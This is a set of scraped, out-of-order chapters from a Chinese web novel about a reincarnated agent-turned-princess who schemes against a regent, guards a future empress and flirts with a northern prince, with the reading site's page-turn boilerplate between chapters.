护国公主刚刚回阙都,自己的处境还不好呢,就能为自己的儿子出头,去开罪摄政王,如此有情有义,他大为感动。 靳戈跪地痛哭,心中悔不当初,嘴里絮絮叨叨地喊着: “公主,公主,公主……” 他的幺子本来是要在护国公主身边给摄政王做眼线的。 护国公主不但不怪罪,还如此以德报怨,人心都是肉长的,他怎么能不动容? 虽然同样姓独孤,但是人和人相比,人品真是高下立见。 靳家满门都为摄政王办事,可是,摄政王却因为一点点过错,就毫不留情地踹死了他的幺子,连一句抱歉的话都没说过,更遑论来上一炷香。 此等凉薄寡情之人,还追随他作甚? 苏苡安知道靳戈这几声哽咽嘶哑喊出的公主是什么意思。 他后悔投靠摄政王了,但是,老爷们的自尊,让他无法开口道歉。 不过,一个人说什么不重要,主要看他做什么,只要他真心悔悟,以后不跟自己作对了就好。 为了不给靳家人再次反水的机会,苏苡安决定再加把劲! 苏苡安换上一身素白,在靳府为准驸马靳廷骁守灵三日。 出殡的时候,又以未亡人的身份,抱着靳廷骁的牌位走在了送葬队伍的最前方。 她满眼哀戚,泪痕在脸上就没干过。 所见之人,无不动容,真夫妻能做的,也就这种程度了。 护国公主亲自守孝扶灵,这可是极大的礼和哀荣。 这门婚事,看似没成,实际上,已经成了。 一场丧仪下来,虎师主帅靳戈感激涕零,带着他四个做将军的儿子,彻底倒向了护国公主。 而且,护国公主把事情闹这么大,短时间内,摄政王也不好再给她塞驸马了。 小皇帝独孤珺璟得知皇姐在靳家守灵三日,十分惆怅, “皇姐,你怕不怕啊?你不该去那里的。” 在独孤珺璟的观念里,横死之人的怨气很大的,而且,这事情还和皇姐有关,他担心死者的怨气会冲到皇姐,让她以后流年不利。 苏苡安抓住了这个攻心的好时机,真情流露道, “皇姐为了你,什么都不怕,就算以后夜夜被厉鬼缠身,我也不怕。 为了你,皇姐哪里都敢去,阴曹地府都不足为惧,更何况一个靳府?” 独孤珺璟当即感动得眼泪汪汪, “皇姐,你可真好。” 苏苡安可不吃他发好人卡这一套, “现在,我的府中也是有几百张嘴要吃喝了,我的俸禄养不起那么多张嘴,你能不能给我点银子?” 独孤珺璟连连点头, “朕私库里还有一百多万两现银,皇姐尽管拿去用。” 苏苡安怕夜长梦多,马上就起身告辞, “那我现在就带走一半,你差人装一下。” 独孤珺璟又说, “皇姐,你去见一下母后吧,她病了。 你让摄政王吃了怎么大的亏,她听了一定很高兴,兴许病就能好了呢。” 苏苡安可不想见那老妖婆,从小到大,她就没给过公主体己钱,万一她知道信儿了,再把这些银子搞没了, “母后在养病,我也不好因为这么点小功劳就去打扰她。我还有事,先回府了。” 彼时,永寿宫的宫女过来了, “见过皇上,见过公主,太后请公主去永寿宫一趟。” 苏苡安一蹙眉,真是怕什么来什么。 独孤珺璟看出了皇姐的踌躇,也怕一向对皇姐严苛的母后彼时会对皇姐鸡蛋里挑骨头,就说道, “朕正好也想去给母后请安了,皇姐,一起吧。” 太后洛云初今日虽然卧病在床,但是,总算对护国公主露出了笑脸。 这几年,她身子沉疴越发严重,只能教皇上自保之法,甚至一度准备此生就做个傀儡皇帝了,能活着就好。 可是,现在独孤遥迦回朝了,没几天的时间就让摄政王吃了大亏,还拉拢了虎师的主帅,让她看到了希望。 她有生之年,兴许可以看到皇上亲政。 “遥迦,你的玄铁营远在南疆,这些年,母后身子骨不好,顾不上打理,现在怕是已经让摄政王渗透了。 但是,玄机营母后还是说话算的,今日,就调拨玄机营的五百精兵给你做府兵,你可以放心用,千万要注意安全,小心独孤照的暗杀。” 苏苡安还真没想到,今日太后还能有个做娘亲的样子,连忙跪地谢恩,陪她演了一出母慈女孝。 她趁机给太后切了一下脉。 太后的身子骨,确实已经从内虚到外了。 这也就是太后之尊,这些年一直用上好的药材吊着命,若是换成寻常的人家,她的坟头草早都三尺高了。 她若是出手救治,还能让太后多活几年。 本小章还未完,请点击下一页继续阅读后面精彩内容!可是,以太后过往对护国公主的恶劣态度,她活着,她自己就要遭老罪了,干嘛自找麻烦呢? 除非,太后能从今日起彻底改好,疼爱自己,帮自己夺回兵权,那她是可以出手续她的命…… 洛云初又说, “纪大学士有个孙女,过年完就及笄了,遥迦,你替我走一趟纪大学士府,传我懿旨,封她为后,然后,再把纪姑娘带回你的公主府,小心照应着。” “是,母后。” 苏苡安表面顺从,内心呵呵哒: 我在幻想什么啊? 原来,太后给我五百精兵是为了保护准皇后,为了能让小皇帝大婚后亲政啊。 护国公主,你可别怪我占了你的肉身重生却不救你娘啊,你娘真的是自作孽不可活。 不过,我定会干掉摄政王为你报仇! 苏苡安和太后阳奉阴违地做了好多保证,忽悠得太后笑容没断过,才离开了永寿宫。 独孤珺璟又对她说, “皇姐,你不要有太大的压力,那纪家姑娘,你能护就护,护不住也无所谓。 你的安危对朕来说,才是最重要的。 你还是不要把皇叔逼得太狠了,免得他对你起杀心。 其实,能不能亲政,对朕来说无所谓的。 皇叔摄政,既不会把朕从皇位上赶下来,也不会短了朕的吃喝,保持现在这样的状态,其实也挺好的。” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第230章 这封后懿旨和死亡通知书有什么区别? 苏苡安可听不得这么窝囊又幼稚的话,可是,想想小皇帝也是出于对她的关心才说这些安慰她,便选择性耳聋,也不出言回怼。 她可不觉得独孤照会一直留着一个傀儡皇帝,不过是时机未到罢了。 再说,你这废物不想要实权,可是我想啊。 我手里没兵,怎么接回晏儿? 苏苡安一回到护国公主府,去校场找雪重楼。 从前的奴隶,现在整齐地列队操练,已经初具军人的风貌了。 苏苡安连连点头称赞道, “雪重楼,你干得不错啊,很有两下子嘛。” 雪重楼微微颔首,其实,这对他来说根本不值得一夸。 他首先是玄机营的军人,而后才是个细作,对于这些新兵基础训练,他是手到擒来的。 苏苡安又观摩了好一会,才说正事, “你去换件衣裳,穿得喜庆点,跟我去办件大事。” “是。” 雪重楼回房间,换了一袭质感很挺阔的红衣,又在外面披了一件黑色的斗篷,喜庆又不失庄重。 苏苡安带着雪重楼和一百精兵,去纪大学士府宣读太后的懿旨。 纪大学士府收到了封后诏书,没有一个人笑得出来。 这封后懿旨和死亡通知书有什么区别? 前三任准皇后,谁活到大婚了? 尤其是正主纪芙姑娘,当即就吓哭了。 阙都城里,比她家世好,比她容貌好的姑娘有的是,这‘好事’怎么就落到她头上了呢? 苏苡安冷眼瞧着太后选中的这位纪姑娘,说不上有多漂亮,中人之姿罢了。 看着娇娇柔柔,眉眼间却有着一股子不服输的韧劲儿,好像是个脾气倔强的,也不知太后看中她家什么了。 不过,是谁当皇后,对于她来说,都一样,只要能让小皇帝亲政就行。 到时候,她好拿回玄铁营。 苏苡安板着一脸威严对纪芙说, “你哭什么?本公主能指挥千军万马,还保护不了你一个小女子吗?收拾收拾东西,跟我走!” 一百精兵护卫着纪家姑娘的马车出府。 走到半路,路过一条两侧房屋高耸的窄街之事,就遇见了刺客。 从四面八方而来的数支强弩从两边的房顶上射过来,径直穿透了马车,里面传来了女子的惨叫声。 “抓一个活口。” 苏苡安一声令下,雪重楼立即拔出了腰间的软剑,飞身上房顶,紧追着其中的一名刺客不放。 雪重楼腿长步伐快,很快就追上了刺客,并且把他逼入了一条死胡同。 两相交手,刺客见自己不敌,便要服毒自尽。 雪重楼的身手,以快准狠着称,电光火石之间,他就飞出一支镖,打掉了刺客手中的毒药,眨眼之间又近到了身前,一拳捶到脑袋顶上。 而后,把这活口扛在了肩头,归队。 苏苡安很满意雪重楼的表现,这场体测,他合格了。 一行人回到了护国公主府,苏苡安冲着人群里装扮成士兵的纪芙勾勾手, “你随我来~” 纪芙眼泪汪汪地跟在护国公主的身后进了客厅。 刚刚,替她坐在马车里的是她的贴身丫鬟,虽然已经穿了盔甲,周围也放了护盾,但是,亲眼看着那么多箭射进了马车里,她还叫那么惨,肯定是受伤了。 可是,她又不敢质问护国公主竟然明知会有刺客,为何还要在马车里坐人顶替她,空的不行吗? 她只能掉眼泪,还不敢哭出声。 苏苡安自顾自地坐下来,看着她哭,也不安慰,只是一板一眼地说事情, “纪芙,大婚之前,你就在我这里住着,我的副将会照顾你的饮食起居,你随他下去吧,有什么需要都跟他讲。” 纪芙瞥了一眼雪重楼,他俊美无俦的长相让她不敢直视,一瞬间就烧红了脸, “我一个未出阁的姑娘,怎么能让一个男子照顾……” 苏苡安笑了笑,戏谑道, “护国公主府就本公主一个女子,难道,你让我亲自照顾你?” 纪芙瞧公主笑了,虽然不是什么怀着好意的笑,但是,也比刚才在外面板着脸好得多,看起来,好像还是个很好相处的人,就壮着胆子说, “不敢,公主,能不能让我的丫鬟来照顾我?” 苏苡安一挑眉, “什么你的丫鬟?咱们不是说好了,她上了马车就是准皇后了吗? 放心吧,她没受伤,只是受了惊吓。 不过,你不能见她,我要对外说,你受伤了。” 听说自己的丫鬟没事,纪芙也稍稍安下心来。 只是,公主的这个副将,不仅一点都没照顾她,还天天使唤她。 纪芙跟着雪重楼可遭老罪了,整日穿着小兵的衣裳,冒充他的小护卫,端茶送水。 雪重楼训练奴隶兵,一训练就是一整日,她也要在严寒的户外,陪站一整日,长这么大,都没这么辛苦过。 只是,纪芙表面柔弱,内心十分要强,一直咬牙忍着,不喊苦,也不喊累,自然,也不跟公主告状。 这章没有结束,请点击下一页继续阅读!其实,她挺能理解雪重楼的安排的,大隐隐于市嘛。 这一日,下早朝的时候,苏苡安叫住了摄政王。 “小皇叔留步。” 独孤照驻足回眸,冷眼看着她。 自从那日行刺以后,他们两个局心照不宣地没说过话了。 走在周围的朝臣,自动散去,百步之内,只有他们两个人了。 苏苡安开门见山地说, “小皇叔,这一次,万幸纪家姑娘还活着,我就不带着那刺客和口供去宗人府告你的状了。 今日,侄女要真诚地劝你一句,希望你以后别阻碍自家侄子的婚事了,要不然,你让皇上绝了后,你以后没脸去见独孤家的列祖列宗。” 独孤照可不信她能撬开刺客的嘴,他只要咬死不是自己行刺,她能拿自己如何? 独孤照斜了她一眼, “公主在说什么,本王听不懂。” 苏苡安抿唇一笑,从怀中拿出刺客的供词塞到了独孤照的手里,语重心长地说道, “小皇叔听不懂,字总认识吧? 咱们两个不仅是小叔和侄女,还从小一起长大,一起读书习武,关系比旁的亲戚更近一些。 我总是顾念感情的,不想把事情闹大,更不想把事情做绝。 也希望小皇叔有个做叔叔的样子,让你老大不小的侄子成个家吧。 再闹下去,就要让天下的百姓看笑话了,不体面得很。 咱们两个,也都过不好这个年了。” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第231章 军令状 独孤照打开了纸张一看,登时眼珠子就瞪了一下: 那混蛋刺客,竟然把这些年他做的事,都招了个干干净净,彻彻底底! 独孤照拧眉思忖着,他完全不能接受,也不能理解这种怪事。 他培养的那些刺客都是经过特训的死士,绝对忠诚于他,命都可以不要,怎么可能会因为严刑逼供就招了呢? 独孤照从纸上抬眸,十分狐疑的眼神看向护国公主: 难道,她使美人计了? 毕竟她是做过祸国妖后的人,南离不近女色的战神都让她拿下了…… 苏苡安没有理会摄政王恶意满满的眼神,而是按着她自己的节奏,继续温温柔柔地大大亲棋牌, “小皇叔,你可是我父皇当做皇子养大的,想想我父皇从前对你的种种好,你也不想他在天上看着他的儿子老大不小了还形单影只,娶不上媳妇吧?他得多伤心难过啊。” 独孤照心中一紧,他的皇兄,对他如兄如父,好得挑不出来一个不字。 皇兄驾崩前,还握着他的手托孤,封他做摄政王,让他帮小皇帝稳住江山,皇兄是那么信任他。 这也是他这么多年迟迟没有狠下心来把小皇帝干掉的原因之一。 独孤照默默攥紧了手中的证词,眉头紧紧的锁着,虽然不知道他心里在想什么,总之,他没有再派人去刺杀纪芙。 春暖花开的时候,北幽皇独孤珺璟终于大婚。 大婚的翌日早朝,苏苡安跪地,请皇上亲政。 独孤照不出意外地站出来阻止, “皇上想亲政,光是大婚还不够,还要有处理政事的能力,否则,就是祸国殃民。” 苏苡安据理力争,“摄政王,幼帝大婚后亲政,这是祖制,你要违逆祖宗规矩吗?” 独孤照从怀里掏出了先帝的遗诏,义正辞严道, “本王是受先帝托孤的摄政王,不会违逆祖制,但是,也不会违逆了先皇。 今日,本王要当朝问政十题,皇上全都答对了,方才能亲政!” 小皇上一脸惶恐不安地看向皇姐。 苏苡安私心想着,以自己的三寸不烂之舌,只要小皇上的回答沾边一点正确答案,她都可以给圆回来的。 而且只有十道题,难度不大。 给了小皇上眼神,要他安心。 而后,又看向摄政王, “摄政王请出题。” 岂不料,独孤照的问题一一抛出来,小皇帝冥思苦想,吭哧瘪肚地回答出的答案,和正确答案南辕北辙。 苏苡安想圆都圆不回来,气得她眼前一黑又一黑,十道问题听了四道她就自顾自地提前下朝了。 再在这里听下去,她就要冲上龙椅去揪小皇上的耳朵了。 一个皇帝,就算没亲政,也是有帝师的啊,怎么能废物成这样啊! 摄政王还真没瞎说,北幽若是让他亲政,那就是祸国殃民! 难怪北幽的朝臣都偏向摄政王,她若是朝臣,她也偏。 气死了!气死了! 自己忙活了一溜十三招,也就让小皇帝成了个亲而已。 原本还指望让他亲政,自己好拿回玄铁营呢。 到底在对他期待着什么呀!还不如指望母猪能上树呢! 苏苡安这次生了大气,上了大火,一连数日都称病没去上早朝。 她要在府里重新筹谋自己接下来要做的事情。 这一日,一道圣旨来了护国公主府。 雪重楼跪地替主子接旨。 当他听到圣旨的内容,瞳孔都放大了一圈,简直不敢相信自己的耳朵: 如今,南离皇亲征百越,南离无法两线作战,南疆定然守备空虚,正是我北幽大举进攻的好时机。 因此,命护国公主前往南疆,重掌玄铁营,为北幽开疆拓土。 雪重楼眉心一皱: 的确是个好机会,但是,这种好事怎么会落到公主的头上? 事出反常必有妖! 他恭敬地接过圣旨,打开一看,果然,圣旨没有盖玉玺。 那这不就是废纸一张吗? 雪重楼捧了圣旨,去找苏苡安定夺。 苏苡安冷冷一笑, “定是摄政王有什么条件,让我跟他交换,他才能盖这个玉玺。 不过,没关系,只要不是要我的命,什么都可以给他,我走一趟摄政王府就是了。” 雪重楼神色凝重,他觉得,摄政王就是想要她的命。 护国公主才回来几个月,摄政王一直在吃亏,正常人的思维,都是干掉她一劳永逸才对, “主子,我陪你走一趟吧?” “好。” 苏苡安去到了摄政王府,直言不讳地问独孤照怎么样才肯盖章。 独孤照在自己的地盘,也不装了,直接提了两个条件: 一,交出他的人。 二,要护国公主立下军令状,执掌玄铁营后,若三个月内攻打不下南离的雁回城,自刎谢罪。 “好啊!” 苏苡安想也没想就答应了,伸出大拇指戳向了印泥,就要在军令状上摁手印。 雪重楼惊骇的背脊发凉,立即跪地,满目担忧地看着她, “公主,请三思啊!” 苏苡安理都没理,直接在军令状上摁下了手印。 她了解萧北铭那个人,他在百越吃了大亏,定是要亲自把丢失的面子找回来的,亲征在她的意料之内,只是,没想到会这么快。 她也笃定,萧北铭会把南离的主力军,都调去,跟他一起作战,彼时的雁回城,守备定然不足。 玄铁营可都是铁骑,战斗力一点都不弱的,怎么会败呢。 万一的万一,她到时候不幸吃了败仗,可她手里还掌着兵马呢,你一张破纸就要她自尽,那不就跟搞笑一样吗? 将在外,军令有所不受! 独孤照倒是没想到护国公主能如此痛快地答应。 她为了重掌兵权,竟然扔下无能的小皇上和病重的太后在阙都任由他摆布。 她比从前自私无情了可不止一点点。 独孤照当场拿着玉玺,给圣旨盖了章,压抑了几个月的心,也舒畅了起来: 终于把这个碍事的家伙弄出阙都了,你这一走,就别想再回来了! 苏苡安拿着圣旨回到护国公主府。 她生怕太后想办法挽留她,命令公主府的将士连夜打包行囊,天一亮,就带着她的一千府兵开拔了。 一路急行军,直奔北幽的南疆,公主岭! 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第69章 我看起来很像大冤种接盘侠吗? 随着夜幕降临,院中的病患陆陆续续复诊完毕,逐渐散去。 苏苡安的眼前,倏尔多了一抹白。 庄家汉子,谁会穿白衣啊? 苏苡安缓缓掀起眼帘,顺着两条大长腿往上看,身材颀长,一时看不到头,颇有几分压迫感。 而后,映入眼帘的是一张建模脸,隔着帷帽的垂纱,不用看得太真切,也知道此人的模样俊美无俦。 竟然是萧北铭! 不知何时,他站到了队伍的最后。 苏苡安十分纳闷,“镇北王这是做什么?” “我是来复诊的。” 萧北铭的话语平淡又自然。 苏苡安无语了: 他也太怕死了吧,竟然跑到庄子上来排队复诊,真是蛮拼的。 王爷的病症可是高等军事机密,高庄头可不敢听,立即扔下毛笔遁走。 跛着一条腿,走得极快,而且,又忘记拄拐了! 苏苡安无声地对那个不遵医嘱的家伙飞了个白眼: 还得令呢,你把我的令放哪里去了? 苏苡安冷淡地对萧北铭说道, “手腕给我。” 萧北铭撩起衣摆,在石桌的对面落坐,而后又撩起了左臂的宽大云袖,给她切脉。 火光的照耀之下,可见他的手臂肌理分明,青筋明显,散发着力量感,满满都是雄性荷尔蒙的味道,性张力十足。 苏苡安怔了一下: 他今日犯什么病了吧?往日不都是让我隔着衣袖给他切脉吗?生怕我脏到他。 倏尔,苏苡安明白了。 他这是在给我展示他左臂上的缝合疤没有了。 好奇怪,还有医者能跟我一样,做出这么厉害的祛疤膏? 是谁呀? “你手臂的伤疤谁给治的?” “无人治疗,我身体好,受伤不会留疤而已。” 纳尼? 从未听说过这等体质,他还真是天赋异禀呢。 他这是跟我炫耀来了。 “哦。” 苏苡安内心千转百回,表面只是很平静地应了一声。 见萧北铭另一只手还扯着他自己的衣袖,似乎没有放下来的意思。 隔着石桌呢,她不好够过去帮他放下袖子,但是也不想触他的眉头。 于是,就从怀中掏出一方绣着斑竹的白色手帕,搭在了他的手腕处,方才上手切脉。 “恢复得不错,继续吃药,把那些药都吃完了,就能彻底除去热毒了,以后也不用再复诊。” “多谢。” 萧北铭的语气平淡,听不出任何情绪,只是,他撤回手臂的同时,就手没收了她的手帕。 苏苡安帷帽掩盖之下的双眸,长睫禁不住颤了一下: 什么鬼? 他匿下我手帕作甚?! 萧北铭不说话,也没起身,就坐在对面,静静地看着她。 虽然,垂着白纱,看不清她的模样,甚至,他也从来都不知道她的长相。 但是,这都无所谓,他从来都不在意别人的外表,一副皮囊而已,都是父母给的,他只在乎一个人的能力。 她聪明又有心计,有胆识武力值又高,情绪稳定性情又好,无一不生在他的审美上。 从前,他厌女,是因为从小被母妃殴打,长大又被北幽恶女强,特别有心理阴影,女人在他的眼里,都是红颜白骨,粉黛骷髅。 唯有她,让他牵肠挂肚,念念不忘。 他不是一个矫情的人,没有刻意回避,便遵从了自己的本心。 于是,他就出现在这里了。 二人相对无言,空气突然变得安静起来了。 苏苡安心中一凛,默默地抠了抠脚趾: 我不是做过抗尴尬训练吗?为何现在能感觉到气氛尴尬呢? 果然,是这具身子不好用! 三十六计走为上。 苏苡安起身,对屋里朗声道, “高庄头,所有病患都复诊完毕了,我走了!” 高庄头又忙不迭地出来了,一路跛行,依旧没有拄拐, “神医,这天都黑了,你一个人怎么走啊?当心路上有野兽出没。” 萧北铭起身,蓦然开口, “我送你。” “一届草民,怎敢劳烦王爷相送?谁都不用送,我很擅长走夜路,告辞!” 苏苡安冲他毕恭毕敬地行了一个蹲礼,而后拽过马,飞身上马就走了,一丝都没有犹豫。 她有精神洁癖的,不可能接受一个心中有所爱的男人对她示好,死人也不行,那和性骚扰没什么区别。 萧北铭站在原地,表面波澜不惊,内心五味杂陈。 她那个恭敬的告退礼,比她过往所有的不恭敬加一起,还要让他难受。 路上,苏苡安越想越觉得晦气: 他这是不想还我钱了呢,还是想给他的儿子找后娘? 我看起来,有那么像大冤种接盘侠吗? 想让人接盘,总得拿出点吸引人的条件吧? 穷得叮当响,没有物质条件,脾气不好,也不能提供情绪价值。 就长相还勉强凑合,可惜还是个二手的。 谁会吃别人的残羹冷炙啊?我是什么很贱的人吗? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!我自己有钱有颜,养一堆柔弱不能自理的美男子唯我独尊不香吗? 他唯一能拿出手的,就是有一个可爱的儿子。 可我又不是圣母,干嘛要给别人的儿子当后娘? 不是自己亲生的孩子养不家的。小时候可爱,长大就变了。 多尔衮开国皇帝的实力,挖坟鞭尸的结局,难道教训还不够惨烈吗? 此刻,苏苡安心中嫌弃满满,只有一个念头: 丧偶带孩的超穷超雄男,莫来沾边老子! 彼时,她只恨路上没遇见什么猛兽,否则,她一定上去扇两巴掌,让它知道知道自己的厉害。 苏苡安策马回到了她自己的田庄,丁香和铁柱,正打着灯笼在村子门口等她呢。 苏苡安心中一暖,有一盏灯为自己而明的感觉真好。 翌日午后。 阳光不那么强烈了,苏苡安带着丁香和铁柱去外面散步。 三个人漫无目的地在乡间小路走着,闻着草木的芳香,心情都不错。 路过一片竹林,铁柱看到了有竹鼠探头探脑,瞬间两眼放光,来了精神头, “主儿,你吃过竹鼠吗?要不要我抓一只给你尝尝鲜?” 苏苡安一向对新鲜事物来者不拒, “那就尝尝呗~” “那好!看我给你捉一个!我小时候,最擅长下套捉竹鼠了,那个饥荒年,全家都靠我养活呢。” “哇,你好大的本事啊,那我就等着尝鲜喽。” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第5章 维持痴傻人设 不过,苏苡安转念一想: 小心驶得万年船。 原主的记忆一片混沌,不知道还有什么对家,还是继续维持痴傻人设比较好。 思及此,苏苡安做出乖巧的憨态, “嗯!我都听爹爹的~” “乖孩子。”苏怀仁长长松了一口气,“爹爹这就让吴管家新买几个下人回来,以后,肯定把你伺候好。” “谢谢爹爹~” “你放心,爹爹一定请全上京最好的大夫,把你的脸治好。” “嗯!爹爹真好~” 大夫入府,看了苏苡安满脸的深重伤痕,露出无比同情的眼神,连叹了三口气: 曾经靓绝上京城的第一美人,真是可惜了…… 苏怀仁听大夫说苡安的脸以后会留疤,感觉天都塌了。 过去,她虽然痴傻了些,但是,温柔漂亮又听话,是做妻子的绝佳人选。楚王知道她痴傻了也不退婚,他一点都不意外。 可是,如今,她的脸毁了,还如何嫁给楚王啊? 更别肖想威风凛凛桀骜不羁的镇北王了! 女儿嫁不了皇家,他的仕途也再难升迁,大学士府还有什么前途可言? 此刻,苏苡安可没工夫搭理面色如土,眉头紧皱的老父亲,他的愁事可不关她的事。 既然已经为原主报仇了,那她就可以离开了。 不过,离开之前,她还要安顿好那只可爱的小老虎。 苏苡安转身出府,找到了一家叫甄氏布坊的裁缝铺子。 见柜台里面站着的老掌柜,脸上褶子很多,胡子很长,看起来像是经验丰富,手艺很好的样子,就走进去跟他边说边比画, “三四岁的男娃娃,大概这么高,胳膊这么粗,腿这么粗。 做一身棉袄棉裤,用最好的料子,最好的棉花。” 甄掌柜听完,很贴心地说, “三四岁的孩子,正是长的时候,咱们把棉袄棉裤都做大一些吧,明年也能穿呢。” 苏苡安笑笑,“不用,大了穿上不暖和,明年再做新的就是了。我出三倍的价钱,你给我加急做,明日就要。” 甄掌柜一脸真诚, “用不了那么多钱,加急二十文钱,你明日下午来取,一准儿就做好了。” 这掌柜的是个实诚人,苏苡安很欣赏,往桌子上拍了一张银票。 甄掌柜见一千两的大额银票,怔愣了片刻,一脸疑惑, “姑娘是来买我这个小铺子的?” 苏苡安爽快道,“没错,我就是要买下你的铺子。你还给我当掌柜的。以后,赚钱咱们五五分,赔钱都算我的,可好?” “姑,姑娘,你这是活菩萨啊,你没拿我寻开心吧?”甄掌柜瞠目,额上的抬头纹都加重了几分。 苏苡安戏谑地笑笑,“就你这沟壑纵横的老脸,还不至于让我寻开心呐,我只跟年轻俊俏的公子逗乐子。” 小老虎穿衣的问题解决了,苏苡安又来到了昨夜光顾的回春堂药铺,提笔写了一堆治疗小儿常见病的药方, “按照这些方子抓,按小份包好。” 回春堂掌柜眯起眼睛看了一眼药方, “除了百年犀牛角,其它的药材,我三日后就能给你备齐。” “犀牛角什么时候能有?” 掌柜无奈地笑笑,“姑娘,百年犀牛都能成精了,百年犀牛角那种传说中的好东西,有价无市啊。 我敢说,全上京的药铺都没有卖的。 我这里只有十年的羚羊角,效果也没差多少,要不然,你买这个,我便宜点卖给你?” 苏苡安嗤之以鼻, “百年犀牛角一点粉末兑水就能治疗小儿惊惧高热。 十年的羚羊角只能治疗普通的风寒发热,且一两日才能见效,差别大了去了。” “哎呦,姑娘懂行啊~”掌柜讪讪地笑着,对眼前之人,莫名地燃起了几分敬意, “您若实在想要百年犀牛角啊,只能去鬼市碰碰运气了。” “鬼市在哪里?” 药铺掌柜给她指了明路: “所谓鬼市,就在城外往西二十里的一个废弃村落里。 每夜子时开市,丑时闭市,买卖双方都覆面交易,东西不问来路,也不问去处。 我去年就在那里捡漏了一只二十年的犀牛角,实乃退热极品,前几日大价钱卖给了……呵呵,呵呵~” 掌柜尬笑两声,知道自己说得太多了。 苏苡安也很懂规矩,不该问的不多打听, “多谢,我三日后来取药。” 夜里,苏苡安来到了鬼市。 打眼一看,卖啥的都有,吃的玩的用的,叫卖声不绝于耳。 苏苡安在鬼市走走停停,忽然,在一个卖水牛角梳子的摊位里,看到了一支百年犀牛角和一堆水牛角杂乱地摆在一起售卖。 苏苡安心中激动: 天呐,这么大的漏让我捡到了! 苏苡安指着犀牛角发问, “这个,多少钱?” “一万两。” “一万两?”苏苡安故作惊讶,“一个水牛角要一万两,你怎么不去抢?” 本小章还未完,请点击下一页继续阅读后面精彩内容!摊主轻蔑一笑, “你什么眼神啊?这可是百年犀牛角,是从犀牛精的头上掰下来的,可珍贵了呢! 你不要,可有的是人要。这几日,日日都有人来寻此宝物。” 原来摊主是个识货的啊,白兴奋了…… “寻的人多,买得起的少啊,一口价,八千两如何?” 彼时,苏苡安身上,只有八千两银票了。 “不卖!”摊主很干脆。 苏苡安想想小老虎可爱的模样,觉得一万两花在他身上,一点都不浪费。 于是掏出了顺来的玉佩, “五千两银票,再加这个玉佩如何?” “成交!” 苏苡安见摊主这么爽快,就知道自己吃亏了, “送我一把梳子吧?” “您随便选。” 苏苡安挑了一把水牛角的梳子,吃了亏又往回勾一勾,聊胜于无嘛。 苏苡安在鬼市闲逛了一圈,回去的路上,赫然看到自己刚刚出的玉佩,已经摆在卖水牛角梳子的摊位上了,叫价两万两了。 一个虎背熊腰,戴着斗笠的蒙面男人,正在和摊主讨价还价。 苏苡安懊丧一笑: 看来我赔大发了~ 二道贩子赚钱就是轻松啊。 唉~ 重活一世,再也不做把脑袋别在裤腰带上讨生活的特工了,我也要做个日进斗金的大奸商~ 苏苡安策马赶回上京城的时候,正好赶上开城门,卖早点的小商小贩都出摊了。 苏苡安点了一屉小笼包,坐下来吃包子,脑子里全是昨日清晨和小老虎一起吃包子的场景。 小家伙,也不知道现在有没有早饭吃…… 倏尔,苏苡安用眼睛的余光瞥到了一个小小的身影,一抬头,正是小老虎。 他通红的小脸上挂着豆大泪珠子,咧嘴小嘴,嘶哑地哭诉着, “你怎么才来啊,我把所有的鸣镝都放了,在这条街上等了你一整夜,呜呜呜……” 喜欢毁容沉塘后,特工王妃送全家火葬场!请大家收藏:()毁容沉塘后,特工王妃送全家火葬场!更新速度全网最快。 第90章 你好甜啊 萧北铭顿时心中不悦,看着她的目光里染上了幽怨: 跟你和跟我,有什么区别吗? 我们都这么好了,难道你还不想入我镇北王府不成? 耿氏夫妇同时看向萧北铭那张充满了上位者威仪的冷脸,高大的身材极有压迫感,周身似乎有冷气环绕。 一看此人就是个极难伺候的主儿,哪里赶得上苏大夫这么平易近人,整日笑呵呵的,一看就是个好人。 老耿满目担忧地摇了一下头,秋娘立即会意,忙说, “我们举手之劳,提供一间屋子而已,可不敢谈什么恩情。 只是,我儿口不能言,大字也不识一个,怎么敢在官老爷的手中当差? 粗鄙乡野小儿,万一行差踏错,连求饶都不能够,更别提做什么将军了。 我们就跟着苏大夫,做个小厮,有口饱饭吃我们就心满意足了。” “成吧,那我收下他了。” 苏苡安瞧着萧北铭冷着脸不发话,并没有收下耿豆的意思,就只能自己答应了,顺带一手一个,把他们夫妻搀扶起来, “孩子交给我,别的不敢说,肯定饿不着肚子。” 夫妻两个又双双跪下磕响头。 耿豆站在旁边,脸上没有任何情绪起伏。对于父母的安排,他一向言听计从,只是不会表达罢了。 萧北铭新伤初愈,现在还不好骑马,就坐上了苏苡安的马车。 丁香把镇北王先前做靠枕用的蚕丝被,改成了两个软垫子,放在了马车里面。 苏苡安上车看见了,勾唇一笑, “这丫头,也太会过了,真会给我省钱。” 本来,她是让丁香去镇上多买几个坐垫给镇北王路上用,那丫头,嘴上答应得好好的,一转头,就废物利用了。 萧北铭看到了挂在车壁上的竹笛,一眼就认出来这是夏天的时候,在庄子上的河边,她别在后腰的那只,只是,已经从青绿变黄了。 “你也很会省钱啊,这么简易的竹笛,竟然还留着。” 苏苡安顺手拽下来竹笛,在手里转了两圈, “嘿嘿,这叫该省省,该花花。我的钱,可都是我辛辛苦苦赚来的,一个子儿都不能浪费。” “你那日在河边吹的是什么曲子?”萧北铭问道。 苏苡安笑而不答,只是立即竹笛附唇,不吝再次吹奏了一曲不谓侠。 萧北铭目光期待地再次发问,“很好听,所以,这曲子叫什么名字?” 苏苡安柳眉一挑,侧目看向他,眸光里满是狡黠,嘴角漾着笑, “你给我笑一个,我就告诉你。” 笑一个? 在萧北铭的记忆里,都没有自己笑的时候, “我军旅之人,生性严肃,不苟言笑,从来不笑。” 苏苡安嘴角弯了弯,讥诮道, “哦,原来如此,你不笑,我就不告诉你曲子的名字。” “没商量了吗?” 苏苡安眯起眼睛,盯着他,一字一句颇为郑重道, “丝毫没得商量,我决定的事情,一条独木桥走到黑。” 萧北铭好生为难,尝试着唇瓣牵动几许。 可是,他又觉得,自己笑起来,兴许会很傻,会不好看。 她又是如此以貌取人的性子,嫌弃他丑怎么办? 萧北铭终是放弃了。 